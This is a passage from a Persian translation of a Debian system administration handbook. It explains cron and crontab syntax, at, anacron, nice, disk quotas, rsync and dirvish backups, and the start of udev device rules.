بسیاری بسته‌های دبیان به این سرویس وابسته هستند: با قرار دادن اسکریپت‌های نگهداری در این دایرکتوری‌ها، آن‌ها عملکرد بهینه سرویس‌ها را رقم می‌زنند.

9.7.1. قالب یک فایل crontab

نکته میانبرهای متنی برای cron

... برخی از مخفف‌ها را می‌شناسد که جایگزین پنج فیلد موجود در crontab می‌شود. آن‌ها منطبق با قدیمی‌ترین گزینه‌های زمان‌بندی هستند:

@yearly: سالی یک بار (اول ژانویه در ساعت ۰۰:۰۰)؛

@monthly: ماهی یک بار (اول هر ماه، در ساعت ۰۰:۰۰)؛

@weekly: هر هفته (یکشنبه در ساعت ۰۰:۰۰)؛

@daily: به صورت روزانه (در ساعت ۰۰:۰۰)؛

@hourly: به صورت ساعتی (در ابتدای هر ساعت)؛

مورد خاص cron و ساعت تابستانی

در دبیان، cron تغییرات زمانی را (برای ساعت تابستانی، یا در حقیقت برای کوچکترین تغییر در زمان) در بهترین حالت به حساب می‌آورد. پس، دستوراتی که باید طی یک ساعت مشخص اجرا شوند ولی آن ساعت وجود ندارد (برای نمونه، وظایفی که زمان‌بندی شده‌اند تا در ۰۲:۳۰ صبخ طی تغییر زمانی بهاره در فرانسه اجرا شوند، چرا که در این بازه ساعت به ۰۳:۰۰ صبح تغییر می‌یابد) بلافاصله پس از تغییر در زمان اجرا می‌شوند (یعنی حدود ساعت ۰۳:۰۰ صبح). از طرف دیگر، در پاییز زمانی که دستورات باید چندین مرتبه اجرا شوند (۰۲:۳۰ صبح در ساعت تابستانی، آنگاه یک ساعت بعد در ساعت ۰۲:۳۰ استاندارد چرا که در ساعت ۰۳:۰۰ صبح زمان به ۰۲:۰۰ صبح باز می‌گردد) تنها یکبار به اجرا در می‌آیند.

در هر صورت باید مراقب باشید که اگر ترتیب اجرای دستورات زمان‌بندی شده اهمیت داشته باشد باید سازگاری این محدودیت‌ها را با عملکرد cron بررسی کنید؛ در صورت نیاز، می‌توانید یک برنامه خاص را برای این دو شب دردسرساز در سال در نظر بگیرید.

هر خط جداگانه در crontab یک برنامه زمان‌بندی شده با شش (یا هفت) فیلد را مشخص می‌کند:

دقیقه (از ۰ تا ۵۹)؛

ساعت (از ۰ تا ۲۳)؛

روز در ماه (از ۱ تا ۳۱)؛

ماه (از ۱ تا ۱۲)؛

روز در هفته (از ۰ تا ۷، ۱ متناظر با دوشنبه، یکشنه نیز با ۰ یا ۷ نمایش داده می‌شود؛ همچنین امکان استفاده از سه حرف ابتدای هر روز به زبان انگلیسی وجود دارد، مانند Sun و Mon)؛

کاربری که طبق مجوز او دستور باید اجرا گردد (در فایل /etc/crontab و در قسمت‌های مشخص شده در /etc/cron.d اما نه در فایل crontab خود کاربر)؛

دستوری که باید اجرا شود (زمانی که شرایط تعریف شده توسط پنج ستون اول رعایت شده باشد).

تمام این جزئیات در صفحه راهنمای crontab(5) مستندسازی شده‌اند.

هر مقدار می‌تواند به صورت فرمی از مقادیر جدا شده با کاما بیان شود. عبارت a-b بازه تمام مقادیر بین a و b را شامل می‌شود. عبارت a-b/c بازه افزایشی به همراه c را شامل می‌شود (نمونه: 0-10/2 یعنی 0,2,4,6,8,10). یک * به عنوان تمام مقادیر مجاز بکار می‌رود.

مثال 9.2. فایل نمونه crontab

#Format #min hour day mon dow command # Download data every night at 7:25 pm 25 19 * * * $HOME/bin/get.pl # 8:00 am, on weekdays (Monday through Friday) 00 08 * * 1-5 $HOME/bin/dosomething # Restart the IRC proxy after each reboot @reboot /usr/bin/dircproxy

نکته اجرای یک دستور هنگام راه‌اندازی اولیه

برای اجرای یک دستور، یک مرتبه پس از راه‌اندازی رایانه، می‌توانید از ماکرو @reboot استفاده کنید (راه‌اندازی مجدد cron منجر به اجرای دستور همراه با @reboot نمی‌شود). این ماکرو جایگزین پنج فیلد اول هر خط از crontab می‌شود.

جایگزین شبیه‌سازی cron با systemd

It is possible to emulate part of cron's behavior with systemd's timer mechanism (see قسمت 9.1.1, “سیستم راه‌انداز systemd” ).

9.7.2. استفاده از دستور at

at یک دستور را در زمان مشخصی از آینده اجرا می‌کند. زمان و تاریخ مناسب را از طریق پارامترهای خط-فرمان دریافت کرده و دستور مورد نظر جهت اجرا را از ورودی استاندارد می‌گیرد. دستور شروع به اجرا می‌کند به طوری که انگار در پوسته کنونی وارد شده باشد. at حتی به حفظ محیط فعلی رسیدگی می‌کند تا در زمان اجرای دستور همین شرایط برقرار باشد. زمان با استفاده از قوانین زیر تعیین می‌شود: 16:12 یا 4:12pm نشان‌دهنده ۰۴:۱۲ بعد از ظهر هستند. تاریخ می‌تواند با چندین قالب مختلف اروپایی و غربی بیان شود، از جمله DD.MM.YY (عبارت 27.07.15 که بیانگر ۲۷ جولای ۲۰۱۵ است)، YYYY-MM-DD (همان تاریخ که به صورت 2015-07-27 بیان می‌شود)، MM/DD/[CC]YY (برای نمونه، 12/25/15 یا 12/25/2015 برابر با ۲۵ دسامبر ۲۰۱۵ خواهد بود) یا MMDD[CC]YY (که در آن 122515 یا 12252015 بیانگر همان تاریخ قبلی هستند). بدون أن، دستور در اولین بازه زمانی تعیین شده اجرا می‌شود (همان روز، یا فردا اگر زمان روز فعلی گذشته باشد). همچنین می‌توانید از عبارت‌های “today” یا “tomorrow” نیز استفاده کنید.

$ at 09:00 27.07.15 <<END > echo "Don't forget to wish a Happy Birthday to Raphaël!" \ > | mail lolando@debian.org > END warning: commands will be executed using /bin/sh job 31 at Mon Jul 27 09:00:00 2015

یک شیوه نگارش جایگزین اجرای دستور را برای مدت مشخصی به عقب می‌اندازد: at now + number period که period می‌تواند minutes، hours، days یا weeks باشد. number نیز بیانگر تعداد دفعات واحد مشخص شده برای گذشتن جهت اجرای دستور است.

برای لغو برنامه زمان‌بندی cron تنها کافی است دستور crontab -e را اجرا کرده و خط مربوط به آن دستور را از فایل crontab حذف کنید. برای وظایف at نیز به همین سادگی است: دستور atrm task-number را اجرا کنید. شناسه وظیفه توسط at هنگام تعریف آن مشخص می‌شود و می‌توانید آن را با دستور atq پیدا کنید که فهرستی از وظایف زمان‌بندی شده را باز می‌گرداند.

9.8. زمان‌بندی وظیفه‌های غیرهمزمان: anacron

anacron یک فرآیند پس‌زمینه مکمل برای cron است مخصوص رایانه‌هایی که در همه زمان روشن نیستند. از آنجا که وظایف معمولی برای نیمه شب زمان‌بندی می‌شوند، در صورت خاموش بودن رایانه هیچگاه اجرا نخواهند شد. هدف anacron اجرای این دستورات است با در نظر گرفتن اینکه رایانه ممکن است روشن نباشد.

به یاد داشته باشید که anacron چنین فعالیت‌هایی را بلافاصله پس از راه‌اندازی مجدد رایانه آغاز می‌کند، که ممکن است منجر به کندی آن شوند. به همین دلیل است که وظایف موجود در فایل /etc/anacrontab با دستور nice آغاز می‌شوند که اولویت اجرایی آن‌ها را کاهش داده و تاثیر منفی آن‌ها را روی سیستم محدود می‌سازد. آگاه باشید که قالب این فایل با آنچه در /etc/crontab وجود دارد متفاوت است؛ اگر نیاز خاصی در رابطه با anacron دارید به صفحه راهنمای anacrontab(5) را مشاهده کنید.

بازگشت به مقدمات اولویت‌ها و nice

سیستم‌های یونیکس (مانند لینوکس) به صورت چند-وظیفه‌ای و چند-کاربره کار می‌کنند. در حقیقت، چندین فرآیند می‌توانند به صورت همزمان اجرا شوند و به کاربران مختلفی تعلق داشته باشند: کرنل وظیفه مدیریت منابع بین فرآیندهای مختلف را بر عهده دارد. به عنوان قسمتی از این وظیفه، مفومی به نام اولویت وجود دارد که ترتیب اجرایی فرآیندهای مختلف نسبت به یکدیگر را مشخص می‌کند. زمانی که می‌دانید یک فرآیند می‌تواند با اولویت پایین اجرا شود، می‌توانید آن را با دستور nice program مشخص کنید. برنامه در این صورت سهم کوچکی از پردازنده خواهد داشت و بنابراین تاثیر کمتری رو عملکرد کلی سیستم می‌گذارد. البته، اگر هیچ فرآیند دیگری برای اجرا وجود نداشته باشد، برنامه به صورت مصنوعی عقب نگاه داشته نمی‌شود.

nice با سطح‌های مختلفی از “niceness” کار می‌کند: سطح‌های مثبت (از ۱ تا ۱۹) اولویت را به آرامی کاهش، در صورتی که سطح‌های منفی (از ۱- تا ۲۰-) آن را افزایش می‌دهند - اما تنها root قادر به استفاده از آن‌ها است. مگر در جایی به آن اشاره شده باشد (صفحه راهنمای nice(1) را مشاهده کنید)، nice به صورت پیش‌فرض سطح فعلی را با ۱۰ افزایش می‌دهد.

اگر دریافتید که یک وظیفه جاری باید با nice آغاز می‌شد ولی این اتفاق نیفتاده است، اصلاح آن ساده است؛ دستور renice اولویت یک فرآیند در حال اجرا را تغییر می‌دهد، در هر جهت (اما کاهش میزان ... یک فرآیند به دسترسی کاربر root نیاز دارد).

نصب بسته anacron منجر به توقف اجرای اسکریپت‌های cron در دایرکتوری‌های /etc/cron.hourly/، /etc/cron.daily/، /etc/cron.weekly/ و /etc/cron.monthly/ می‌شود. این کار از اجرای تکرای cron و anacron جلوگیری می‌کند. دستور cron فعال باقی می‌ماند و به اجرای وظایف زمان‌بندی شده (به خصوص از طرف کاربر) می‌پردازد.

9.9. سهمیه‌بندی

سیستم سهمیه‌بندی امکان محدودسازی فضای دیسک موجود را برای کاربران و گروه‌ها فراهم می‌سازد. برای تنظیم آن، باید کرنلی داشته باشید که آن را پشتیبانی کند (با گزینه CONFIG_QUOTA کامپایل شده باشد) - که در مورد کرنل‌های دبیان صادق است. نرم‌افزار مدیریت سهمیه در بسته دبیان quota پیدا می‌شود.

برای فعال‌سازی سهمیه‌بندی در یک فایل‌سیستم، باید گزینه‌های usrquota و grpquota در فایل /etc/fstab را برای سهمیه‌بندی کاربران و گروه‌ها مشخص کنید. راه‌اندازی مجدد رایانه منجر به بروزرسانی این سهمیه‌بندی در غیاب فعالیت دیسک می‌شود (یک شرایط لازم برای محاسبه دقیق فضای مصرفی دیسک).

دستور edquota user یا edquota -ggroup امکان ویرایش سهمیه‌بندی فعلی بر اساس ظرفیت موجود در دیسک را فراهم می‌سازد.

مطالعه بیشتر تعیین سهمیه‌بندی با اسکریپت

برنامه setquota می‌تواند به منظور تغییر سهمیه‌بندی‌ها در اسکریپت‌ها استفاده گردد. صفحه راهنمای setquota(8) به توضیح شیوه استفاده از آن می‌پردازد.

سیستم سهمیه‌بندی به شما امکان تنظیم چهار محدودیت را می‌دهد؛

two limits (called “soft” and “hard”) refer to the number of blocks consumed. If the filesystem was created with a block-size of 1 kibibyte, a block contains 1024 bytes from the same file. Unsaturated blocks thus induce losses of disk space. A quota of 100 blocks, which theoretically allows storage of 102,400 bytes, will, however, be saturated with just 100 files of 500 bytes each, only representing 50,000 bytes in total.

دو محدویت “soft” و “hard” به تعداد inodeهای مصرفی اشاره دارند. هر فایل حداقل یک inode مربوط به خود به منظور ذخیره‌سازی اطلاعات جانبی را دارد (مجوزها، مالک، برچسب‌زمانی از آخرین دسترسی و از این قبیل). این یک محدودیت در فایل‌های مورد استفاده کاربر است.

یک حد “soft” به صورت موقت می‌تواند تجاوز کند؛ در این حالت با استفاده از دستور warnquota که معمولا توسط cron فراخوانی می‌شود به کاربر اخطار ظرفیت دیسک داده می‌شود. یک حد “hard” هیچگاه نمی‌تواند تجاوز کند: سیستم به رد تمام عملیاتی می‌پردازد که منجر به گذشتن از سهمیه مجاز “hard” باشد.

واژگان block و inode

فایل‌سیستم، هارد درایو را به بلاک - ناحیه‌های کوچک پیوسته - تقسیم می‌کند. اندازه این بلاک‌ها هنگام ایجاد فایل‌سیستم تعیین می‌شود که معمولا بین ۱ تا ۸ کیلوبایت هستند.

هر بلاک می‌تواند به منظور ذخیره‌سازی داده‌های حفیقی یک فایل یا اطلاعات-جانبی مربوط به آن استفاده شود. در میان این اطلاعات-جانبی، معمولا inode را پیدا می‌کنید. یک inode از بلاک موجود در هارد درایو استفاده کرده (اما این بلاک در سهمیه‌بندی بلاک لحاظ نمی‌شود بلکه در سهمیه‌بندی inode قرار می‌گیرد) و شامل اطلاعات جانبی درباره فایل (نام، مالک، مجوزها و از این قبیل) همچنین نشانگرها به بلاک‌های داده‌ای واقعی این فایل می‌شود. برای فایل‌های بسیار بزرگ که به بلاک‌های بیشتری برای ذخیره‌سازی اطلاعات inode نیاز دارد، یک سیستم غیرمستقیم بلاک وجود دارد؛ inode شامل فهرستی از بلاک‌ها می‌باشد که داده واقعی را شامل نمی‌شوند، بلکه آن‌ها نیز شامل فهرستی از بلاک‌های دیگر هستند.

با استفاده از دستور edquota -t، می‌توانید یک “بازه محدود” حداکثری که حد نرم از آن عبور کند را تعریف کنید. پس از این بازه، یک حد نرم مانند یک حد سخت در نظر گرفته می‌شود و کاربر مجبور است فضای دیسک را کاهش دهد تا بتواند اطلاعات جدید روی آن ذخیره کند.

مطالعه بیشتر تنظیم سهمیه پیش‌فرض برای کاربران جدید

به منظور خودکارسازی تنظیم سهمیه برای کاربران جدید، باید یک قالب کاربری جدید (با edquota یا setquota) ایجاد کرده و نام کاربری را در متغیر QUOTAUSER موجود در فایل /etc/adduser.conf مشخص سازید. این پیکربندی سهمیه به صورت خودکار با هر بار فراخوانی دستور adduser به منظور ایجاد کاربر جدید اعمال می‌شود.

9.10. پشتیبان‌گیری

پشتیبان‌گیری یکی از وظایف اصلی مدیرسیستم‌ها است، اما از آنجا که موضوع پیچیده‌ای است، ابزار آن نیز از پیچیدگی بیشتری برخوردار هستند.

برنامه‌های بسیاری برای اینکار وجود دارند از جمله amanda، bacula و BackupPC. این‌ها سیستم‌های کلاینت/سروری هستند که گزینه‌های بسیاری دارند با پیکربندی‌های به نسبت دشوار. برخی از آن‌ها به منظور غلبه بر این دشواری از رابط‌های کاربر-پسند تحت وب استفاده می‌کنند. اما دبیان شامل طیف گسترده‌ای از ابزارهای پشتیبان‌گیری است که با استفاده از دستور apt-cache search backup می‌توانید فهرستی از آنان را مشاهده کنید.

بجای تشریح هر یک از آن‌ها، در این بخش به بررسی استراتژی پشتیبان‌گیری در شرکت فالکوت می‌پردازیم که مدیرسیستم‌های آن تهیه کرده‌اند.

در شرکت فالکوت، فایل‌های پشتیبان دو هدف دارند: بازیابی فایل‌های پاک شده و بازیابی رایانه‌ای (رومیزی یا سرور) که هارد درایو آن دچار مشکل شده است.

9.10.1. پشتیبان‌گیری با استفاده از rsync

پشتیبان‌گیری در نوار مغناطیسی زمان و هزینه بالایی می‌برد، پس داده‌ها روی هارد درایوهای یک سرور اختصاصی نگهداری می‌شوند که در آن استفاده از RAID نرم‌افزاری ( قسمت 12.1.1, “RAID نرم‌افزاری” را مشاهده کنید) داده‌ها را از خطرات هارد درایو محافظت می‌کند. رایانه‌های رومیزی به صورت انفرادی پشتیبان‌گیری نمی‌شوند، اما به کاربران توصیه شده است که داده‌های شخصی خود را در فایل سرور دپارتمان ذخیره‌سازی کنند. دستور rsync (از بسته‌ای با همین نام) به صورت روزانه برای پشتیبان‌گیری از این سرورها استفاده می‌شود.

بازگشت به مقدمات پیوند سخت، نام دوم برای فایل

یک پیوند سخت، بر خلاف پیوند نرم، از فایل پیوند داده شده قابل تشخیص نیست. ایجاد یک پیوند سخت به منزله در نظر گرفتن نام دوم برای فایل است. به همین دلیل است که حذف پیوند سخت تنها منجر به از بین رفتن یکی از نام‌های فایل می‌شود. تا زمانی که نام دیگری برای دسترسی به فایل موجود باشد، داده روی آن در فایل‌سیستم باقی می‌ماند. شایان ذکر است که بر خلاف عملیات رونوشت‌گیری، یک پیوند سخت فضای اضافی روی دیسک در نظر نمی‌گیرد.

یک پیوند سخت با دستور ln target link ایجاد می‌شود. فایل link یک نام جدید برای فایل target است. پیوندهای سخت تنها می‌توانند روی یک فایل‌سیستم ایجاد گردند، در جایی که پیوندهای نمادین این محدودیت را ندارند.

فضای موجود هارد درایو امکان پیاده‌سازی پشتیبان‌گیری روزانه را نمی‌دهد. به همین دلیل، دستور rsync به همراه کپی محتوای هارد پشتیبان‌گیری شده با پیوندهای سخت استفاده می‌شود، که این امر از استفاده بیش از حد فضای هارد درایو جلوگیری می‌کند. فرآیند rsync تنها فایل‌هایی را جایگزین می‌کند که از آخرین زمان پشتیبان‌گیری تغییر کرده باشند. با این مکانیزم تعداد زیادی فایل پشتیبان در فضای کمی از دیسک قابل ذخیره‌سازی هستند. از آنجا که تمام فایل‌های پشتیبان بلافاصله موجود و در دسترس هستند (برای نمونه، در دایرکتوری‌های مختلف از یک شبکه اشتراکی) به سرعت می‌توانید اختلاف محتوای آن‌ها در دو تاریخ مختلف را بدست آورید.

مکانیزم پشتیبان‌گیری به راحتی توسط برنامه dirvish پیاده‌سازی شده است. این برنامه از یک فضای ذخیره‌سازی پشتیبان (“بانک”) استفاده می‌کند که در آن فایل‌های پشتیبان را بر اساس بازه زمانی قرار می‌دهد (که به این فایل‌ها “صندوق” گفته می‌شود).

پیکربندی اصلی آن در فایل /etc/dirvish/master.conf قرار دارد. در این فایل می‌توان محل ذخیره‌سازی فایل‌های پشتیبان، فهرست “صندوق‌ها” برای مدیریت و مقدار پیش‌فرض برای تاریخ انقضای آن‌ها را مشخص کرد. باقی پیکربندی در فایل‌های bank/vault/dirvish/default.conf قرار دارد که تنظیمات مختص به هر یک از فایل‌ها را شامل می‌شود.

مثال 9.3. فایل /etc/dirvish/master.conf

bank: /backup exclude: lost+found/ core *~ Runall: root 22:00 expire-default: +15 days expire-rule: # MIN HR DOM MON DOW STRFTIME_FMT * * * * 1 +3 months * * 1-7 * 1 +1 year * * 1-7 1,4,7,10 1

گزینه bank دایرکتوری مورد نظر جهت پشتیبان‌گیری را مشخص می‌کند. گزینه exclude به شما امکان استخراج فایل‌ها (یا نوع فایل‌ها) از فرآیند پشتیبان‌گیری را می‌دهد. گزینه Runall فهرستی از فایل‌ها به منظور پشتیبان‌گیری به همراه بازه زمانی است، که به شما امکان تخصیص تاریخ صحیح برای رونوشت‌گیری را می‌دهد، در صورتی که پشتیبان در زمان مقرر صورت نگرفته باشد. باید یک زمان قبل از زمان اجرای آن (که به صورت پیش فرض ۱۰:۰۴ بعد از ظهر در دبیان بر طبق فایل /etc/cron.d/dirvish است) را مشخص کنید. در نهایت، تنظیمات expire-default و expire-rule سیاست انقضای فایل‌های پشتبان را مشخص می‌کنند. نمونه بالا فایل‌های پشتیبانی که در اولین یکشنه هر فصل ایجاد می‌شوند را تا ابد نگاه می‌دارد، اگر یک سال از اولین یکشنبه هر ماه بگذرد و پس از گذشت سه ماه از سایر یکشنبه‌ها آن‌ها را پاک می‌کند. سایر فایل‌های پشتیبان برای ۱۵ روز نگاه داشته می‌شوند. ترتیب این قانون‌ها اهمیت دارد، چرا که Dirvish از آخرین قانون صحیح استفاده می‌کند یا گزینه expire-default در صورتی که هیچ گزینه expire-rule یافت نشود.

در عمل انقضای زمان‌بندی شده

قواعد انقضا توسط dirvish-expire برای انجام کارش استفاده نمی‌شوند. در واقعیت، این قواعد زمانی که هنگام ایجاد یک رونوشت از فایل پشتیبان برای تعیین تاریخ آن اعمال می‌شوند. dirvish-expire به سادگی از رونوشت‌های ذخیره شده استفاده کرده و آن‌هایی که تاریخشان گذشته باشد را حذف می‌کند.

مثال 9.4. فایل /backup/root/dirvish/default.conf

client: rivendell.falcot.com tree: / xdev: 1 index: gzip image-default: %Y%m%d exclude: /var/cache/apt/archives/*.deb /var/cache/man/** /tmp/** /var/tmp/** *.bak

نمونه بالا تعداد مشخصی از فایل‌ها را برای پشتبان‌گیری مشخص کرده است: فایل‌های روی رایانه rivendell.falcot.com (برای داده‌های پشتیبان محلی کافی است فقط نام رایانه که با دستور hostname معلوم می‌شود را وارد کنیم)، به خصوص آن‌هایی که در مسیر ریشه قرار دارند (tree: /)، بجز آن‌هایی که در مسیر exclude قرار گرفته‌اند. پشتیبان‌گیری محدود به محتوای یک فایل‌سیستم است (xdev: 1). شامل فایل‌های سایر نقاط اتصال نمی‌باشد. یک شاخص برای فایل‌های ذخیره شده تولید می‌شود (index: gzip) و فایل اصلی به صورت image-default: %Y%m%d و با تاریخ روز ثبت می‌گردد.

گزینه‌های بسیاری موجود هستند که در صفحه راهنمای dirvish.conf(5) مستندسازی گشته‌اند. زمانی که این فایل‌های پیکربندی تنظیم گردند، باید هر مجموعه فایل را با دستور dirvish --vault vault --init راه‌اندازی اولیه کنید. از این زمان به بعد به صورت روزانه فراخوانی dirvish-runall به صورت خودکار اقدام به ایجاد رونوشت‌های پشتیبان کرده و آن‌هایی را که تاریخ گذشته باشند حذف می‌کند.

در عمل پشتیبان‌گیری راه‌دور با استفاده از SSH

زمانی که dirvish نیاز دارد داده‌ها را در یک رایانه راه‌دور ذخیره کند، از ssh برای اتصال به آن استفاده کرده و rsync را به عنوان یک سرور راه‌اندازی می‌کند. این کار نیازمند دسترسی‌های کاربر root به منظور اتصال خودکار به آن است. استفاده از یک کلید احرازهویت SSH دقیقا این هدف را برآورده می‌سازد. ( قسمت 9.2.1.1, “احرازهویت کلید-محور” را مشاهده کنید).

9.10.2. بازیابی رایانه‌هایی که فایل پشتیبان ندارند

رایانه‌های رومیزی، که پشتیبان‌گیری نمی‌شوند، به آسادگی از طریق DVD-ROM مخصوص با استفاده از Simple-CDD قابل نصب مجدد هستند ( قسمت 12.3.3, “Simple-CDD: یک راهکار جامع” را مشاهده کنید). از آنجا که این امر عملیات نصب را از ابتدا انجام می‌دهد هر گونه سفارشی‌کردن سیستم قبل از آن از بین می‌رود. اشکالی در این کار نیست چرا که تمام سیستم‌‌ها به یک دایرکتوری مرکزی LDAP برای مدیریت حساب کاربری متصل و بسیاری برنامه‌های رومیزی نیز به لطف dconf قابل پیکربندی هستند (برای اطلاعت بیشتر در این رابطه، قسمت 13.3.1, “GNOME” را مشاهده کنید).

مدیرسیستم‌های شرکت فالکوت از محدودیت حجمی سیاست پشتیبان‌گیری خود آگاه هستند. از آنجا که محافظت از سرور پشتیبان به خوبی یک نوار مغناطیسی موجود در یک محفظه ضد آتش نیست، آن‌ها این سرور را در یک اتاق جداگانه نصب کرده‌اند تا در زمان حادثه برای اتاق اصلی سرور، خطری این سرور پشتیبان را تهدید نکند. علاوه بر این، آن‌ها از یک مکانیزم پشتیبان‌گیری افزایشی با استفاده از DVD به صورت هفتگی استفاده می‌کنند - که در آن تنها فایل‌های تغییر کرده از آخرین عملیات پشتیبان‌گیری لحاظ شده‌اند.

مطالعه بیشتر پشتیبان‌گیری از سرویس‌های SQL و LDAP

بسیاری از سرویس‌ها (مانند پایگاه‌داده‌های SQL و LDAP) به راحتی و با رونوشت‌گیری از فایل‌هایشان قابل ذخیره‌سازی نیستند (مگر در زمان پشتیبان‌گیری کاملا از کار بیفتند، که این امری دردسرساز است چرا که این سرویس‌ها باید در هر زمان فعال باشند). بنابراین، لازم است از یک مکانیزم “استخراج” برای ایجاد “رونوشت داده‌ها” که به راحتی قابل پشتیبان‌گیری هستند استفاده شود. این فایل‌ها اغلب بزرگ هستند اما به راحتی فشرده می‌شوند. برای کاهش فضای مورد نیاز ذخیره‌سازی، تنها کافی است یک فایل متنی کامل هر هفته ذخیره کنید، به همراه یک فایل diff روزانه، که از دستوری معادل با diff file_from_yesterday file_from_today ایجاد می‌گردد. برنامه xdelta از داده‌های باینری می‌تواند فایل‌های اختلاف زمانی تولید کند.

فرهنگ TAR، استاندارد پشتیبان‌گیری نوار

به لحاظ تاریخی، ساده‌ترین روش برای پشتیبان‌گیری در یونیکس ذخیره‌سازی یک بایگانی TAR روی نوار مغناطیسی بود. دستور tar حتی نام خود را از عبارت “Tape ARchive” وام گرفته است.

9.11. اتصال سریع: hotplug

9.11.1. مقدمه

زیرسیستم hotplug از کرنل به صورت پویا اضافه و حذف شدن دستگاه‌ها را مدیریت می‌کند، با بارگیری درایورهای مناسب و ایجاد فایل‌های مخصوص به هر دستگاه (با کمک دستور udevd). با وجود سخت‌افزار جدید و عملیات مجازی‌سازی، تقریبا هر چیزی قابلیت اتصال سریع را دارد: از دستگاه‌های متداول USB/PCMCIA/IEEE 1394 گرفته تا هارد درایوهای SATA، همچنین پردازنده و حافظه اصلی.

کرنل شامل پایگاه‌داده‌ای است که هر شناسه دستگاه را به درایور مخصوص به آن ثبت می‌کند. این پایگاه‌داده در زمان راه‌اندازی اولیه به منظور بارگیری تمام درایورهای مورد نیاز برای دستگاه‌های شناخته شده در خطوط ارتباطی مختلف استفاده می‌شود، همچنین در زمانی که یک دستگاه جانبی به سیستم متصل می‌گردد. زمانی که دستگاه آماده استفاده باشد یک پیام به udevd ارسال می‌شود تا فایل مورد نظر دستگاه در /dev/ را ایجاد کند.

9.11.2. مشکل نامگذاری

قبل از ظهور قابلیت اتصال، انتساب یک نام ثابت به یک دستگاه کار ساده‌ای بود. اینکار بر اساس موقعیت دستگاه‌ها روی گذرگاه سیستم انجام می‌شد. اما این امکان برای دستگاه‌هایی که روی این گذرگاه وارد و خارج می‌شوند وجود ندارد. مورد متداول هم کاربرد دوربین دیجیتال و حافظه جانبی USB است، که هر دو در رایانه به عنوان هارد درایو ظاهر می‌شوند. اولی به نام /dev/sdb و دومی به نام /dev/sdc (به همراه /dev/sda که نام هارد درایو اصلی رایانه است). نام دستگاه ثابت نیست؛ در حقیقت به ترتیبی که دستگاه‌ها متصل می‌شوند ارتباط دارد.

علاوه بر این، درایورهای بیشتری از شماره‌گذاری ماژور/مینور دستگاه‌ها استفاده می‌کنند که امکان نامگذاری ثابت دستگاه‌ها را از بین می‌برد چرا که این خصوصیات ضروری در هر مرتبه راه‌اندازی سیستم از بین می‌روند.

udev دقیقا به منظور حل این مشکل ایجاد شد.

9.11.3. چگونگی کارکرد udev

زمانی که کرنل udev را از وجود یک دستگاه جدید آگاه می‌کند، این برنامه به جمع‌آوری اطلاعات مختلف در رابطه با دستگاه از طریق /sys/ می‌پردازد، به خصوص اطلاعاتی که منجر به شناسایی دستگاه می‌شوند (نشانی MAC برای یک کارت شبکه، شماره سریال برخی دستگاه‌های USB و از این قبیل).

هنگامی که این اطلاعت بدست آمد، udev به مجموعه قواعد موجود در /etc/udev/rules.d/ و /lib/udev/rules.d/ مراجعه می‌کند. در این فرآیند تصمیم می‌گیرد که چه نامی به دستگاه اختصاص دهد، از چه پیوندهای نمادین برای ایجاد کردنش استفاده کند (برای اختصاص نام مستعار) و چه دستوراتی را اجرا کند. تمام این فایل‌ها مورد بررسی قرار می‌گیرند و قواعد موجود در آن‌ها به ترتیب ارزیابی می‌گردند (بجز حالتی که یک فایل از عبارت “GOTO” استفاده کند). پس، ممکن است چندین قاعده درباره یک رخداد بررسی شوند.

شیوه نگارش این قواعد تقریبا ساده است: هر سطر شامل شرایط انتخاب و انتساب متغیرها است. اولی برای انتخاب رویدادها جهت پاسخ دادن و دومی اقدام مورد نظر در پاسخ به آن رویداد است. تمام این قواعد با کاما از یکدیگر جدا شده‌اند و عملگر بین شرایط انتخاب (با عملگرهای مقایسه‌ای، مانند == یا !=) یا شرایط انتساب (با عملگرهایی نظیر =، += یا :=) تفاوت قائل می‌شود.

عملگرهای مقایسه‌ای روی متغیرهای زیر اعمال می‌شوند:

KERNEL: نامی که کرنل به دستگاه اختصاص داده است؛

ACTION: پاسخ متناظر به رویداد (“add” زمانی که دستگاه اضافه شده یا “remove” زمانی که دستگاه حذف شده باشد)؛

DEVPATH: مسیر دستگاه در ساختار /sys/؛

SUBSYSTEM: زیرسیستم کرنل که درخواست را ایجاد کرده است (گزینه‌های زیادی وجود دارند اما برخی عبارتند از “usb”، “ide”، “net”، “firmware”، و از این قبیل);

ATTR{attribute}: محتوای فایل attribute در دایرکتوری /sys/$devpath/ دستگاه. اینجاست که می‌توانید نشانی MAC و سایر شناسه‌های مخصوص گذرگاه را پیدا کنید.

KERNELS، SUBSYSTEMS و ATTRS{attributes} انواع گوناگونی هستند که تلاش دارند گزینه‌های مختلف در رابطه با دستگاه‌های والد با دستگاه فعلی را سازگار سازند.

PROGRAM: نماینده آزمون برای برنامه مشخص شده است (در صورت بازگرداندن ۰ برابر با true، در غیر اینصورت false). محتوای خروحی استاندارد برنامه ذخیره می‌شود تا توسط آزمون RESULT قابل استفاده باشد.

RESULT: آزمون‌های مورد نظر را روی خروجی استاندارد ذخیره شده از آخرین فراخوانی PROGRAM اجرا می‌کند.

عملگر سمت راست می‌تواند به شیوه‌ای استفاده شود که امکان انتخاب چند مقدار در یک لحظه را داشته باشد. برای نمونه، * هر رشته‌ای را شامل می‌شود (حتی رشته خالی)؛ ? هر کاراکتری را شامل می‌شود و [] مجموعه از کاراکترهای محدود را شامل می‌شود (یا خلاف آن، در صورتی که اولین کاراکتر برابر با ! باشد و بازه پیوسته کاراکترها به صورت a-z بیان شود).

با توجه به عملگرهای انتسابی، = یک مقدار را نسبت می‌دهد (که جایگزین مقدار فعلی می‌شود)؛ در مورد یک فهرست، خالی می‌شود و تنها مقدار انتسابی را شامل می‌گردد. := نیز همین کار را کرده، اما از تغییرات بعدی آن متغیر جلوگیری می‌کند. همینطور += که یک گزینه به فهرست اضافه می‌کند. متغیرهای زیر می‌توانند تغییر کنند:

NAME: نام دستگاه که در مسیر /dev/ ایجاد می‌شود. تنها اولین انتساب به حساب می‌آید؛ باقی انتساب‌ها نادیده گرفته می‌شوند؛

SYMLINK: فهرستی از پیوندهای نمادین که به یک دستگاه اشاره می‌کنند؛

Owner، Group و MODE کاربر و گروه و مجوزهای مورد نیاز دستگاه را تعریف می‌کنند؛

RUN: فهرست برنامه‌هایی که در پاسخ به این رویداد باید اجرا شوند.

مقدارهای انتسابی به این متغیرها می‌توانند از جایگزین‌های زیر استفاده کنند:

$kernel یا %k: معادل با KERNEL؛

$number یا %n: شماره ترتیبی برای دستگاه، برای نمونه در sda3 برابر با “3”؛

$devpath یا %p: معادل با DEVPATH؛

$attr{attribute} یا %s{attribute}: معادل با ATTRS{attribute}؛

$major یا %M: شماره ماژور کرنل برای دستگاه؛

